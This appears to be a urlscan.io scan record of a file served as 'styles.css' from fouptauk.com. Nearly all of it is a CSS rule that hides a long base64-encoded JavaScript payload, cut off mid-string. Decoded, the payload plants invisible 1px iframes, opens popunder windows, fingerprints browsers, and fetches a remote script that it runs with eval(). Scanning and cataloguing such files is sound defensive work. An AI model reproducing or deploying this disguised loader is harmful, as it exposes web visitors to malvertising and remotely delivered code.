fouptauk.com
Open in
urlscan Pro
139.45.197.99
Public Scan
URL:
http://fouptauk.com/styles.css?aHR0cHM6Ly92aWF0ZXBpZ2FuLmNvbS9hcHUucGhwP3pvbmVpZD0zMDYyNDQx
Submission Tags: falconsandbox
Submission: On October 26 via api from US — Scanned from DE
Submission Tags: falconsandbox
Submission: On October 26 via api from US — Scanned from DE
Form analysis
0 forms found in the DOMText Content
.widget-col-10-sp:before {content: 'KGZ1bmN0aW9uKGxjenhzdXNpbikgeygoKT0+eyJ1c2Ugc3RyaWN0Ijt2YXIgX193ZWJwYWNrX21vZHVsZXNfXz17OTUyOihlLHQsbik9PntuLmQodCx7bTooKT0+b30pO3ZhciByPW4oOTM2KTtmdW5jdGlvbiBvKGUsdCxuKXt2YXIgbz1yLlouZG9jLmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpO28uc3R5bGUud2lkdGg9IjFweCIsby5zdHlsZS5oZWlnaHQ9IjFweCIsby5zdHlsZS5vcGFjaXR5PSIwIixvLnNyYz0iYWJvdXQ6YmxhbmsiLChyLlouZG9jLmJvZHl8fHIuWi5kb2NFbGVtZW50KS5hcHBlbmRDaGlsZChvKTt2YXIgaT1vLmNvbnRlbnRXaW5kb3cub3Blbi5jYWxsKHIuWi53aW4sZSx0LG4pO3JldHVybiBvLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobyksaX19LDM2OihfX3VudXNlZF93ZWJwYWNrX21vZHVsZSxfX3dlYnBhY2tfZXhwb3J0c19fLF9fd2VicGFja19yZXF1aXJlX18pPT57X193ZWJwYWNrX3JlcXVpcmVfXy5kKF9fd2VicGFja19leHBvcnRzX18se1Y6KCk9PnBvc3RBbnRpYWRibG9ja0luZm99KTt2YXIgX2hlbHBlcnNfcHJveHlSZWRpcmVjdF9fV0VCUEFDS19JTVBPUlRFRF9NT0RVTEVfMF9fPV9fd2VicGFja19yZXF1aXJlX18oMjQyKTtmdW5jdGlvbiBwb3N0QW50aWFkYmxvY2tJbmZvKHpvbmVJZCxmb3JtYXQpe3ZhciB1cmw9Imh0dHBzOi8vIisoMCxfaGVscGVyc19wcm94eVJlZGlyZWN0X19XRUJQQUNLX0lNUE9SVEVEX01PRFVMRV8wX18uYkUpKCkrIi9sb2cuanM/ej0iK051bWJlcih6b25lSWQpKyImZj0iK2Zvcm1hdDt3aW5kb3cuemZncHJveHlodHRwJiZ3aW5kb3cuemZncHJveHlodHRwKHVybCwiIiwiZ2V0IiwiIikudGhlbigoZnVuY3Rpb24ocmVzKXt0cnl7ZXZhbChyZXMucmVzcG9uc2UpfWNhdGNoKGUpe319KSl9fSwyNDI6KGUsdCxuKT0+e24uZCh0LHtXejooKT0+cyx4YzooKT0+dSxYajooKT0+bCxiRTooKT0+ZCxTdTooKT0+cCxOXzooKT0+Zn0pO3ZhciByLG89big5NTIpLGk9big5MzYpLGE9W107ZnVuY3Rpb24gYygpe3ZhciBlPVsiUCIsIk4iLCJQL04iLCJOL1AiLCJQL04vTiIsIk4vUC9OIiwiUC9OL1AvTiIsIk4vTi9OL04iXSx0PVsiMCIsIjAwIiwiMDAwIiwiMDAwMCIsIjAwMDAwIl0sbj1bIm5ld3MiLCJwYWdlcyIsIndpa2kiLCJicm93c2UiLCJ2aWV3IiwibW92aWUiLCJhcnRpY2xlIiwiYXJ0aWNsZXMiLCJzdGF0aWMiLCJwYWdlIiwiaW5kZXgiLCJ3ZWIiXSxvPWVbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKmUubGVuZ3RoKV0ucmVwbGFjZSgvUC9nLChmdW5jdGlvbigpe3ZhciBlPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSpuLmxlbmd0aCk7cmV0dXJuIG5bZV19KSkucmVwbGFjZSgvTi9nLChmdW5jdGlvbigpe3ZhciBlPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSp0Lmxlbmd0aCksbj10W2VdLHI9TWF0aC5wb3coMTAsbi5sZW5ndGgpO3JldHVybigiIituK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSpyKSkuc2xpY2UoLTEqbi5sZW5ndGgpfSkpO3JldHVybiJodHRwczovLyIrcisiLyIrbysiLyJ9ZnVuY3Rpb24gcygpe3JldHVybiBjKCkuc2xpY2UoMCwtMSkrIi5odG1sIn1mdW5jdGlvbiB1KCl7ciYmYS5mb3JFYWNoKChmdW5jdGlvbihlKXtyZXR1cm4gZShyKX0pKX1mdW5jdGlvbiBsKGUpe2UmJihyPWUsdSgpKX1mdW5jdGlvbiBkKCl7cmV0dXJuIHJ9ZnVuY3Rpb24gcChlKXthLnB1c2goZSksciYmZShyKX1mdW5jdGlvbiBmKGUsdCl7aWYoIXIpcmV0dXJuIG51bGw7dmFyIG49W10sYT0wLHM9YygpLHU9ZnVuY3Rpb24oZSl7cmV0dXJuIGUuc3BsaXQoIi8iKS5zbGljZSgzKS5qb2luKCIvIikuc3BsaXQoIiIpLnJlZHVjZSgoZnVuY3Rpb24oZSx0LG4pe3ZhciByPU1hdGgucG93KG4rMSw3KTtyZXR1cm4gZSt0LmNoYXJDb2RlQXQoMCkqcn0pLDM1NzEpLnRvU3RyaW5nKDM2KX0ocyksbD1mdW5jdGlvbigpe3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpO3JldHVybiBlLnN0eWxlLndpZHRoPSIxcHgiLGUuc3R5bGUuaGVpZ2h0PSIxcHgiLGUuc3R5bGUub3BhY2l0eT0iMCIsZX0oKTtmdW5jdGlvbiBkKCl7aWYoMz09PWEpe2lmKGE9NCwhdClyZXR1cm4oMCxvLm0pKHMsIl9ibGFuayIpO2kuWi53aW4ubG9jYXRpb24uaHJlZj1zfXJldHVybiBudWxsfXJldHVybiB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibWVzc2FnZSIsKGZ1bmN0aW9uIHIobyl7dmFyIGM9T2JqZWN0LmtleXMoby5kYXRhKS5wb3AoKTtpZihjPT09dSlpZihudWxsPT09by5kYXRhW2NdKXt2YXIgcz17fTtzW2NdPXQ/e3Q6ImdkcHIiLHU6ZSxiOmkuWi53aW4ubG9jYXRpb24uaHJlZn06ZSxsLmNvbnRlbnRXaW5kb3cucG9zdE1lc3NhZ2UocywiKiIpLGE9MixuLmZvckVhY2goKGZ1bmN0aW9uKGUpe3JldHVybiBlKCl9KSl9ZWxzZSBsLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobCksd2luZG93LnJlbW92ZUV2ZW50TGlzdGVuZXIoIm1lc3NhZ2UiLHIpLGE9M30pKSxsLnNyYz1zLChkb2N1bWVudC5ib2R5fHxkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQpLmFwcGVuZENoaWxkKGwpLGE9MSxkLmlzUHJlcGFyZWQ9ZnVuY3Rpb24oKXtyZXR1cm4gMz09PWF9LGQub25SZWFkeT1mdW5jdGlvbihlKXtyZXR1cm4iZnVuY3Rpb24iIT10eXBlb2YgZT9udWxsOjM9PT1hP2UoKTpuLnB1c2goZSl9LGR9fSw5MzY6KGUsdCxuKT0+e24uZCh0LHtaOigpPT5hfSk7dmFyIHI9e30sbz0idG5lbWVsRXRuZW11Y29kIi5zcGxpdCgiIikucmV2ZXJzZSgpLmpvaW4oIiIpO2Z1bmN0aW9uIGkoKXt2YXIgZT1yLmRvYzt0cnl7ci5jcmVhdGVFbGVtZW50PWUuY3JlYXRlRWxlbWVudH1jYXRjaChuKXt2YXIgdD1bXS5maW5kLmNhbGwoZS5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaWZyYW1lIiksKGZ1bmN0aW9uKGUpe3JldHVybiJhYm91dDpibGFuayI9PT1lLnNyY30pKTtyLmNyZWF0ZUVsZW1lbnQ9dCYmdC5jb250ZW50RG9jdW1lbnQuY3JlYXRlRWxlbWVudH19InVuZGVmaW5lZCIhPXR5cGVvZiB3aW5kb3cmJihyLndpbj13aW5kb3csdm9pZCAwIT09d2luZG93LnNjcmVlbiYmKHIuc2NyPXdpbmRvdy5zY3JlZW4pKSwidW5kZWZpbmVkIiE9dHlwZW9mIGRvY3VtZW50JiYoci5kb2M9ZG9jdW1lbnQsci5kb2NFbGVtZW50PWRvY3VtZW50W29dKSwidW5kZWZpbmVkIiE9dHlwZW9mIG5hdmlnYXRvciYmKHIubmF2PW5hdmlnYXRvciksaSgpLHIudHJ5VG9wPWZ1bmN0aW9uKCl7aWYoIXdpbmRvdy50b3ApcmV0dXJuIG51bGw7dHJ5e3ZhciBlPXdpbmRvdy50b3AuZG9jdW1lbnQsdD1lLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3JldHVybiBlLmhlYWQuYXBwZW5kQ2hpbGQodCksdC5wYXJlbnROb2RlIT09ZS5oZWFkPyExOih0LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQodCksci53aW49d2luZG93LnRvcCxyLmRvYz1yLndpbi5kb2N1bWVudCxpKCksITApfWNhdGNoKGUpe3JldHVybiExfX0sci5nZXRQYXJlbnROb2RlPWZ1bmN0aW9uKCl7dHJ5e3JldHVybiByLmRvYy5jdXJyZW50U2NyaXB0LnBhcmVudE5vZGUhPT1yLmRvYy5oZWFkJiYoci5zb3Vyc2VEaXY9ci5kb2MuY3VycmVudFNjcmlwdC5wYXJlbnROb2RlLHIuc291cnNlRGl2LnN0eWxlLnBvc2l0aW9uJiYic3RhdGljIiE9PXIuc291cnNlRGl2LnN0eWxlLnBvc2l0aW9ufHwoci5zb3Vyc2VEaXYuc3R5bGUucG9zaXRpb249InJlbGF0aXZlIiksITApfWNhdGNoKGUpe3JldHVybiExfX07Y29uc3QgYT1yfX0sX193ZWJwYWNrX21vZHVsZV9jYWNoZV9fPXt9O2Z1bmN0aW9uIF9fd2VicGFja19yZXF1aXJlX18oZSl7dmFyIHQ9X193ZWJwYWNrX21vZHVsZV9jYWNoZV9fW2VdO2lmKHZvaWQgMCE9PXQpcmV0dXJuIHQuZXhwb3J0czt2YXIgbj1fX3dlYnBhY2tfbW9kdWxlX2NhY2hlX19bZV09e2V4cG9ydHM6e319O3JldHVybiBfX3dlYnBhY2tfbW9kdWxlc19fW2VdKG4sbi5leHBvcnRzLF9fd2VicGFja19yZXF1aXJlX18pLG4uZXhwb3J0c31fX3dlYnBhY2tfcmVxdWlyZV9fLmQ9KGUsdCk9Pntmb3IodmFyIG4gaW4gdClfX3dlYnBhY2tfcmVxdWlyZV9fLm8odCxuKSYmIV9fd2VicGFja19yZXF1aXJlX18ubyhlLG4pJiZPYmplY3QuZGVmaW5lUHJvcGVydHkoZSxuLHtlbnVtZXJhYmxlOiEwLGdldDp0W25dfSl9LF9fd2VicGFja19yZXF1aXJlX18ubz0oZSx0KT0+T2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKGUsdCk7dmFyIF9fd2VicGFja19leHBvcnRzX189e307KCgpPT57dmFyIGU9X193ZWJwYWNrX3JlcXVpcmVfXygyNDIpLHQ9InpmZ2Zvcm1hdHMiLG49ZG9jdW1lbnQuY3VycmVudFNjcmlwdCxyPVt3aW5kb3ddLG89W107biYmbi5vbmVycm9yJiZuLm9uZXJyb3I7dHJ5e2Zvcih2YXIgaT1yLnNsaWNlKC0xKS5wb3AoKTtpJiZpIT09aS50b3AmJmkudG9wLnNjcmVlbi5oZWlnaHQ7KXIucHVzaChpLnRvcCksaT1pLnRvcH1jYXRjaChlKXt9ZnVuY3Rpb24gYShlLGksYSxjLHMsdSl7dmFyIGw7dm9pZCAwPT09YyYmKGM9MCksdm9pZCAwPT09cyYmKHM9MCk7dHJ5e2w9bi5zcmMuc3BsaXQoIi8iKVsyXX1jYXRjaChlKXt9dHJ5e3ZhciBkPXdpbmRvdy5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZGF0YXNldC5mcHx8dCxwPXdpbmRvd1tkXS5maWx0ZXIoKGZ1bmN0aW9uKGUpe3JldHVybiBlLnpvbmVJZD09PWEmJmUuc291cmNlWm9uZUlkfSkpLnNoaWZ0KCksZj17fTtmLmZvcm1hdD1lLGYudmVyc2lvbj1pLGYuem9uZUlkPWEsZi5zb3VyY2Vab25lSWQ9cD9wLnNvdXJjZVpvbmVJZDpzLGYuZG9tYWluPWwsZi5nZW5lcmF0aW9uVGltZT1jLGYuZXh0cmE9dSx1JiZ1LnNlbGVjdG9yJiYoZi5zZWxlY3Rvcj11LnNlbGVjdG9yKSxvLnB1c2goZiksci5mb3JFYWNoKChmdW5jdGlvbihlKXtlW2UuZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmRhdGFzZXQuZnB8fHRdLnB1c2goZik7dHJ5e2UuemZnZm9ybWF0cy5wdXNoKGYpfWNhdGNoKGUpe319KSl9Y2F0Y2goZSl7fX1mdW5jdGlvbiBjKCl7Zm9yKHZhciBlPVtdLHQ9ZnVuY3Rpb24odCl7Zm9yKHZhciBuPXJbdF0uZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmRhdGFzZXQuZnAsbz1yW3RdW25dfHxbXSxpPWZ1bmN0aW9uKHQpe2UuZmlsdGVyKChmdW5jdGlvbihlKXt2YXIgbj1lLmZvcm1hdCxyPWUuem9uZUlkLGk9bj09PW9bdF0uZm9ybWF0LGE9cj09PW9bdF0uem9uZUlkO3JldHVybiBpJiZhfSkpLmxlbmd0aD4wfHxlLnB1c2gob1t0XSl9LGE9MDthPG8ubGVuZ3RoO2ErKylpKGEpfSxuPTA7bjxyLmxlbmd0aDtuKyspdChuKTt0cnl7dmFyIG89ZnVuY3Rpb24odCl7Zm9yKHZhciBuPXJbdF0uemZnZm9ybWF0c3x8W10sbz1mdW5jdGlvbih0KXtlLmZpbHRlcigoZnVuY3Rpb24oZSl7dmFyIHI9ZS5mb3JtYXQsbz1lLnpvbmVJZCxpPXI9PT1uW3RdLmZvcm1hdCxhPW89PT1uW3RdLnpvbmVJZDtyZXR1cm4gaSYmYX0pKS5sZW5ndGg+MHx8ZS5wdXNoKG5bdF0pfSxpPTA7aTxuLmxlbmd0aDtpKyspbyhpKX07Zm9yKG49MDtuPHIubGVuZ3RoO24rKylvKG4pfWNhdGNoKGUpe31yZXR1cm4gZX1mdW5jdGlvbiBzKGUpe3RyeXtyZXR1cm4gZS5zcGxpdCgiLyIpWzJdLnNwbGl0KCIuIikuc2xpY2UoLTIpLmpvaW4oIi4iKS50b0xvd2VyQ2FzZSgpfWNhdGNoKGUpe3JldHVybiIifX1yLmZvckVhY2goKGZ1bmN0aW9uKGUpe2UuZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmRhdGFzZXQuZnB8fChlLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5kYXRhc2V0LmZwPU1hdGgucmFuZG9tKCkudG9TdHJpbmcoMzYpLnNsaWNlKDIpKTt2YXIgdD1lLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5kYXRhc2V0LmZwO2VbdF09ZVt0XXx8W107dHJ5e2UuemZnZm9ybWF0cz1lLnpmZ2Zvcm1hdHN8fFtdfWNhdGNoKGUpe319KSk7dmFyIHU9bmV3IFJlZ0V4cCgiKGxvZ298YnJhbmQpIiwiaSIpLGw9bmV3IFJlZ0V4cCgiXmJsb2I6IiwiaSIpO2Z1bmN0aW9uIGQoZSx0LG4scixvKXt2YXIgaT1ufHxmdW5jdGlvbihlKXt2YXIgdD1zKHdpbmRvdy5sb2NhdGlvbi5ocmVmKSxuPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoImltZyIpLHI9W10uc2xpY2UuY2FsbChuKS5maWx0ZXIoKGZ1bmN0aW9uKG4pe3ZhciByPXMobi5zcmMpLnRvTG93ZXJDYXNlKCk9PT10LnRvTG93ZXJDYXNlKCksbz1uLnNyYy5pbmRleE9mKCI/Iik+LTEsaT1yfHwhZSxhPWwudGVzdChuLnNyYyk7cmV0dXJuIGkmJiFvJiYhYX0pKTtyLnNvcnQoKGZ1bmN0aW9uKGUsdCl7dHJ5e3ZhciBuPWUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkscj10LmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpLG89bi53aWR0aCpuLmhlaWdodCxpPXIud2lkdGgqci5oZWlnaHQ7cmV0dXJuIG89PT1pPzA6bz5pPy0xOjF9Y2F0Y2goZSl7cmV0dXJuIDB9fSkpO3ZhciBvPXIuZmlsdGVyKChmdW5jdGlvbihlKXt2YXIgdD1bXS5zbGljZS5jYWxsKGUuY2xhc3NMaXN0KS5qb2luKCIgIiksbj11LnRlc3QoZS5pZCkscj11LnRlc3QoZS5zcmMpLG89dS50ZXN0KHQpO3JldHVybiBufHxyfHxvfSkpLGk9by5sZW5ndGg+MD9vWzBdLnNyYzoiIixhPXIubGVuZ3RoPjA/clswXS5zcmM6IiI7cmV0dXJuIGl8fGF8fCJodHRwczovL3d3dy5nb29nbGUuY29tL2Zhdmljb24uaWNvIn0ociksYT1NYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zbGljZSgyKSxjPXdpbmRvdy5vcGVuKGksYSk7cmV0dXJuIHNldFRpbWVvdXQoKGZ1bmN0aW9uKCl7dHJ5e2lmKGMuY2xvc2VkKXRocm93IG5ldyBFcnJvcn1jYXRjaChlKXtyZXR1cm59dHJ5e2MuZG9jdW1lbnQubG9jYXRpb249ZX1jYXRjaCh0KXt3aW5kb3cub3BlbihlLGEpfWlmKG8pdHJ5e2Mub3BlbmVyPW51bGx9Y2F0Y2goZSl7fX0pLHR8fDUwMCksY312YXIgcD1fX3dlYnBhY2tfcmVxdWlyZV9fKDM2KSxmPV9fd2VicGFja19yZXF1aXJlX18oOTUyKSxoPV9fd2VicGFja19yZXF1aXJlX18oOTM2KTtmdW5jdGlvbiBtKGUsdCl7dHJ5e3JldHVybiBlKCl9Y2F0Y2goZSl7cmV0dXJuIHQ/dChlKTpudWxsfX1mdW5jdGlvbiB2KGUpe3ZhciB0PWUucG9wdW5kZXJWaWV3RGVhZGxpbmVDb3VudDtyZXR1cm57dGltZW91dDplLnBvcHVuZGVyVmlld0RlYWRsaW5lVGltZW91dCxjb3VudDp0fX1mdW5jdGlvbiB3KGUsdCxuKXtyZXR1cm4gZSs9LTEhPT1lLmluZGV4T2YoIj8iKT8iJiI6Ij8iLGUrPVtlbmNvZGVVUklDb21wb25lbnQodCksZW5jb2RlVVJJQ29tcG9uZW50KG4pXS5qb2luKCI9Iil9ZnVuY3Rpb24gZyhlLHQsbil7cmV0dXJuIG0oKGZ1bmN0aW9uKCl7ZT13KGU9ZS5yZXBsYWNlKG5ldyBSZWdFeHAoIlxcYiY/Iit0KyI9KFteJiNdKikiKSwiIiksdCxuKX0pKSxlfXZhciB5PVtdO2Z1bmN0aW9uIFMoKXtyZXR1cm4geX1mdW5jdGlvbiBrKGUpe3kuc2xpY2UoLTEpLnBvcCgpIT09ZSYmeS5wdXNoKGUpfWZ1bmN0aW9uIGIoZSx0LG4scil7dmFyIG89dC5vbkNsb3NlSW50ZXJzdGl0aWFsVXJsLGk9dC5vbkNsb3NlSW50ZXJzdGl0aWFsVGltZW91dCxhPXYodCk7aWYoeS5wdXNoKHIpLG4pe3ZhciBjPShuZXcgRGF0ZSkuZ2V0VGltZSgpO2lmKGEudGltZW91dD4wKXtrKCJjaGVja1BvcHVuZGVyVmlld1RpbWU6IithLnRpbWVvdXQrInM6IisoYS5jb3VudHx8MikrIm4iKTtzZXRUaW1lb3V0KChmdW5jdGlvbigpe3ZhciBuPXNldEludGVydmFsKChmdW5jdGlvbigpe2lmKGRvY3VtZW50Lmhhc0ZvY3VzKCkpe2NsZWFySW50ZXJ2YWwobik7dmFyIHI9KG5ldyBEYXRlKS5nZXRUaW1lKCktYzt0LnVybD1nKHQudXJsLCJjbG9zZV90aW1lIixyKSxrKCJwb3B1bmRlclZpZXdUaW1lOiIrcisibXMiKSxyPDFlMyphLnRpbWVvdXQmJmUuZ2V0Q2xvc2VDb3VudGVyKCk8KGEuY291bnR8fDIpP2UucmVzZXRDb3VudGVycyh0KTplLnJlc2V0Q2xvc2VDb3VudGVyKCl9fSksMjAwKX0pLDUwMCl9dmFyIHM9c2V0SW50ZXJ2YWwoKGZ1bmN0aW9uKCl7dHJ5e2lmKCFufHxuLmNsb3NlZCl0aHJvdyBuZXcgRXJyb3IoIm5vIHdpbmRvdyIpfWNhdGNoKHQpe3ZhciBlPShuZXcgRGF0ZSkuZ2V0VGltZSgpLWM7aWYoaygiY2xvc2VkUG9wOiIrZSksY2xlYXJJbnRlcnZhbChzKSxvKWU8KDFlMyppfHwxZTMpPyhrKCJvbkNsb3NlSW50ZXJzdGl0aWFsIiksbXQobykpOmsoIm5vLW9uQ2xvc2VJbnRlcnN0aXRpYWwiKX19KSwyMDApfWVsc2Ugaygibm9UcmFja1dpbmRvdyIpfXZhciBaPWguWi5uYXYudXNlckFnZW50LEU9aC5aLndpbixfPWguWi5kb2MsQz1FLnNjcm9sbFksUD1FLmlubmVySGVpZ2h0LEk9RS5oaXN0b3J5LFQ9RS5vcmllbnRhdGlvbixPPUUuc2NyZWVuLmF2YWlsSGVpZ2h0LEE9MD09PVQseD1PLShQfHxfLmRvY3VtZW50RWxlbWVudC5vZmZzZXRIZWlnaHQpLEQ9Wi5tYXRjaCgvQ2hyb21lXC8oWzAtOV17MSx9KS8pfHxbXSxMPVoubWF0Y2goL0NyaU9TXC8oWzAtOV17MSx9KS8pfHxbXSxOPXBhcnNlSW50KERbMV0sMTApfHxwYXJzZUludChMWzFdLDEwKSxNPS9hcHBsZXdlYmtpdC9pLnRlc3QoWiksej0vYW5kcm9pZC9pLnRlc3QoWiksRj0vQW5kcm9pZC9pLnRlc3QoWikmJi9GaXJlZm94L2kudGVzdChaKSxVPS9maXJlZm94L2dpLnRlc3QoWiksaj0vaVBob25lfGlQYWR8aVBvZC8udGVzdChaKSxSPSgvTWFjaW50b3NoLy50ZXN0KFopLC9VQ0Jyb3dzZXJcLy8udGVzdChaKSkscT0oL09wZXJhIE1pbmlcLy8udGVzdChaKSxqfHx6KSxCPS9GQkFWXC8vaS50ZXN0KFopLFY9QiYmeixLPWomJi9WZXJzaW9uXC8vLnRlc3QoWikmJiFOLFc9aiYmL0NyaU9TXC8vLnRlc3QoWiksSD1qJiYvRnhpT1MvaS50ZXN0KFopLFg9L1ZlcnNpb25cL1teU10rU2FmYXJpLy50ZXN0KFopLEo9KC9FZGdlXC9cZCsvLnRlc3QoWiksL1lhQnJvd3Nlci8udGVzdChaKSksRz1OJiYhSixZPS9jb2NfY29jX2Jyb3dzZXIvLnRlc3QoWiksUT1DPDUmJihPPjgwMD94PD0xNzE6eDw9MTEwKSwkPUsmJi9cL3QuY29cYi8udGVzdChfLnJlZmVycmVyKSYmMT09PUkubGVuZ3RoLGVlPUsmJkEmJlEmJjE9PT1JLmxlbmd0aCx0ZT0tMSE9PWguWi5uYXYudXNlckFnZW50LmluZGV4T2YoIk1TSUUiKSxuZT1qJiYhWCYmIWguWi5uYXYuc3RhbmRhbG9uZSxyZT1CfHxuZXx8JHx8ZWUsb2U9ZnVuY3Rpb24oZSl7cmV0dXJuIGUuaU9TQ2xpY2tGaXgmJmp9LGllPWZ1bmN0aW9uKGUpe3JldHVybiBlLmFuZHJvaWRDbGlja0ZpeCYmen07ZnVuY3Rpb24gYWUoZSx0LG4scil7dmFyIG89ZS5vbkNsb3NlSW50ZXJzdGl0aWFsVXJsLGk9dGU/cigpOigwLGYubSkodCwiX2JsYW5rIixuKTt0cnl7aS5vcGVuZXIuZm9jdXMoKX1jYXRjaChlKXt9aWYoIW8pdHJ5e2kub3BlbmVyPW51bGx9Y2F0Y2goZSl7fXJldHVybiBpfWNvbnN0IGNlPWZ1bmN0aW9uKGUpe3ZhciB0PSExLG49c2V0SW50ZXJ2YWwoKGZ1bmN0aW9uKCl7dHx8KHQ9ITAsY2xlYXJJbnRlcnZhbChuKSxmdW5jdGlvbihlKXtpZihoLloud2luLnJlcXVlc3RBbmltYXRpb25GcmFtZSlyZXR1cm4gaC5aLndpbi5yZXF1ZXN0QW5pbWF0aW9uRnJhbWUoZSk7aWYoaC5aLndpbi53ZWJraXRSZXF1ZXN0QW5pbWF0aW9uRnJhbWUpcmV0dXJuIGguWi53aW4ud2Via2l0UmVxdWVzdEFuaW1hdGlvbkZyYW1lKGUpO2lmKGguWi53aW4ubW96UmVxdWVzdEFuaW1hdGlvbkZyYW1lKXJldHVybiBoLloud2luLm1velJlcXVlc3RBbmltYXRpb25GcmFtZShlKTtpZihoLloud2luLm9SZXF1ZXN0QW5pbWF0aW9uRnJhbWUpcmV0dXJuIGguWi53aW4ub1JlcXVlc3RBbmltYXRpb25GcmFtZShlKTt2YXIgdD0hMSxuPXNldEludGVydmFsKChmdW5jdGlvbigpe3R8fCh0PSEwLGUobnVsbCksY2xlYXJJbnRlcnZhbChuKSl9KSwyMDApfShlKSl9KSwxZTMpfTt2YXIgc2U9MSx1ZT00LGxlPXt9LGRlPVtdLHBlPSExO2Z1bmN0aW9uIGZlKGUpe2lmKG5hdmlnYXRvci5zZW5kQmVhY29uJiZwZSYmZGUubGVuZ3RoKXt2YXIgdD1lLnBlcmZvcm1hbmNlVXJsLG49ZS5vYWlkLHI9ZS5ydWlkLG89ZS56b25lSWQsaT1lLnBhcnRuZXI7aWYodCl7dmFyIGE9SlNPTi5zdHJpbmdpZnkoe3ZlcnNpb246InVua25vd24iLG1ldGE6e29haWQ6bixydWlkOnIsem9uZUlkOm8scGFydG5lcjppLHJlZmVycmVyOmRvY3VtZW50LnJlZmVycmVyLHVuaXh0aW1lOituZXcgRGF0ZX0sbWVzc2FnZXM6ZGV9KSxjPW5ldyBCbG9iKFthXSx7dHlwZToidGV4dC9qc29uIn0pO25hdmlnYXRvci5zZW5kQmVhY29uKHQrIi9idWNrZXQiLGMpLGRlLnNwbGljZSgwLDEwKX19fWZ1bmN0aW9uIGhlKGUsdCl7ZGUucHVzaCh0KSxlJiZkZS5sZW5ndGg+PTEwJiZmZShlKX1mdW5jdGlvbiBtZSgpe3ZhciBlPXt9O3JldHVybiBFcnJvci5jYXB0dXJlU3RhY2tUcmFjZShlLG1lKSxlLnN0YWNrfWNvbnN0IHZlPXtlbmFibGU6ZnVuY3Rpb24oKXtwZT0hMH0sZGlzYWJsZTpmdW5jdGlvbigpe3BlPSExfSxzZW5kTWV0cmljczpmZSxjb2xsZWN0RXJyb3I6ZnVuY3Rpb24oZSx0LG4pe3ZhciByPWZ1bmN0aW9uKGUpe2Zvcih2YXIgdD01MzgxLG49ZS5sZW5ndGg7bjspdD0zMyp0XmUuY2hhckNvZGVBdCgtLW4pO3JldHVybiB0Pj4+MH0obi5tZXNzYWdlKTtyIGluIGxlP2xlW3JdKys6KGxlW3JdPTEsaGUoZSx7Y29kZTp0LGxldmVsOnVlLGVycm9yOnttZXNzYWdlOm4ubWVzc2FnZSxzdGFjazpuLnN0YWNrfHxtZSgpfX0pKX0sY29sbGVjdERlYnVnOmZ1bmN0aW9uKGUsdCxuKXtoZShlLHtjb2RlOnQscGF5bG9hZDpuLGxldmVsOnNlfSl9fTtmdW5jdGlvbiB3ZShlKXt2YXIgdDtyZXR1cm4gZSYmZS51cmw9PT0obnVsbD09PSh0PWUucHJlZmV0Y2hBZE9wdGlvbnMpfHx2b2lkIDA9PT10P3ZvaWQgMDp0LmRzdFVybCk/Im5vcmVmZXJyZXIsbm9vcGVuZXIiOmUud2luZG93T3BlbkZlYXR1cmVzfHwiIn12YXIgZ2UseWU9MDtmdW5jdGlvbiBTZShlLHQpe3ZhciBuPWUudXJsLHI9aC5aLmRvYy5jcmVhdGVFbGVtZW50KCJmb3JtIik7ci5tZXRob2Q9ImdldCIsci50YXJnZXQ9dCxyLmFjdGlvbj1uLnNwbGl0KCI/Iikuc2hpZnQoKTt2YXIgbz1mdW5jdGlvbihlKXt0cnl7dmFyIHQ9ZS5zcGxpdCgiPyIpWzFdLG49e307cmV0dXJuIHQuc3BsaXQoIiYiKS5mb3JFYWNoKChmdW5jdGlvbihlKXt2YXIgdD1lLnNwbGl0KCI9Iik7bltkZWNvZGVVUklDb21wb25lbnQodFswXSldPWRlY29kZVVSSUNvbXBvbmVudCh0WzFdKX0pKSxufWNhdGNoKGUpe3JldHVybnt9fX0obik7cmV0dXJuIE9iamVjdC5lbnRyaWVzKG8pLmZvckVhY2goKGZ1bmN0aW9uKGUpe3ZhciB0PWguWi5kb2MuY3JlYXRlRWxlbWVudCgiaW5wdXQiKTt0LnR5cGU9ImhpZGRlbiIsdC5uYW1lPWUuc2hpZnQoKSx0LnZhbHVlPWUucG9wKCksci5hcHBlbmRDaGlsZCh0KX0pKSwoaC5aLmRvYy5ib2R5fHxoLlouZG9jRWxlbWVudCkuYXBwZW5kQ2hpbGQocikscn1mdW5jdGlvbiBrZShlLHQsbil7dmFyIHIsbz10LnVybCxpPWd0KG4udGFyZ2V0fHwoaC5aLndpbi5ldmVudD9oLloud2luLmV2ZW50LnNyY0VsZW1lbnQ6bnVsbCksIkEiKTtmdW5jdGlvbiBhKGUpe3RyeXtyZXR1cm4gYWUodCxlLHdlKHQpLChmdW5jdGlvbigpe3JldHVybiBoLloud2luLnRvcC5vcGVuKGUpfSkpfWNhdGNoKG4pe3JldHVybiBhZSh0LGUsd2UodCksKGZ1bmN0aW9uKCl7cmV0dXJuIGguWi53aW4ub3BlbihlKX0pKX19aWYoIWl8fCFTdCh0LGkpKXt2YXIgYz1hKG8pO3JldHVybiBiKGUsdCxjLCJvcGVuRm9ySU9Tbm90U2FmYXJpMiIpLGN8fHZlLmNvbGxlY3RFcnJvcih0LCJwb3Atb3BlbiIsbmV3IEVycm9yKCJvcGVuRm9ySU9Tbm90U2FmYXJpIik